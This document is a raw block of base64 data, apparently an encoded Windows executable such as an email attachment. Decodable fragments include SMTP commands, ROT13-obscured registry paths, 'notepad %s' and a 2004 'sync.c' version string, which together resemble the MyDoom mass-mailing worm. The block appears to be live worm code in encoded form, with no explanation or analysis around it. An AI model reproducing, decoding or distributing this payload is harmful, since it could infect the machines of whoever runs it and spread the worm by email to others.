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 W8glqXzVJrP//1u0gNK1BGKCbhyK5Eyi3QBRuaXpLv9/i8ZLcIdXPCdpe2iJlaKAnebr84n/3/jb f21bDAv5g+gRI57fC0aEaDFQmuc3iv//Df7gOZX0Vrsj2m3hWNJPz1LYYe3t8Pb/Cxr//y/9LEFZ dJKzmShVhbjuJ2Oi5ClxvApbrwZgvR3/Fl/qgOZPjpwRiQS6hw6YJbVI3v////93E7JU+aFM+qtf FtCNTRDWn2s6DOG5lHJTNx4I9eXYzv+F/v/Hw8LEydHc6vsPJkBdfaBPG0p8sekkYqP/Av//5y54 xRVovhdz0jSZAWzaSwCwLa0wtj/L//+N/svO1N3p+ApAUnCRtdwGM2OWzAVBgMIHT/9S//+a6DmN 5D6b+17ELZkIeu9nU+Fl7HYDkyb+X+r/vFXxkDLXfyrYiT3oayvutH1JGOq/l3Lo//+XwBX85tPD tqyloaCip6+6yNntBB47W/X//19BzfkoWo/HKHN5bmMuYyx2IDAuMSAyMDA0/SPbb5MxL3h4IAI6 IGFuZHkpAHu7BRvMAi0MAAUcADkJzhD/mQ8BABAACQAS1wMHIX77ZnV2enRNdi5xeXk3RmL9v/v/ c2dqbmVyXFp2cGViZg1cSnZhcWJqZlxQaGV/+f+/F2FnSXJlZnZiYVxSa2N5YmVyZWJ6UXl0M7f4 LdgyXBlDanJvRnZrRnq6v/32Z2tGMFNnbmZ4ehcucmtyAEcLWis0BfYjZ0V5l5b/9r9ub3RlcGFk ICVzC01lc3NhZ2UALCX7mNsPdRIFLjJ1OgSKbnvPFAYDLy0/K/tv/29DZWMATm92AE9jdABTTQBB dWcASnVsA7a5261uU2F5D3ByBwNGkLe/XbYTYVNhJ0ZyaQBUaERXZfbO3bZkB3VzTW8XL2FiY2Sf +8Jv/2doaWprbG2ccHFyc3ROd3h5emf2//9/QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVobte3W 2la412NnVAJQ3Oha4bYIcA5xRiAFn2ocPoJbAHYajmFoeHLd98K2PZNi7naaXyducHgPoXD4t55i Z3h2Z0tDwwdp3y78fy10dmV5LTIuMG9xcIxfY05wdXJmmaHdCjNcdmkLRDvZ1r5tSGRWLVHgeXPn nvv+bnpjNQB0Z2FbXymPgll27nNjXwdwaS7l3g4Y21FnMCNYbvpuXEcr3NreW2Fmc9UACmhsoy12 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 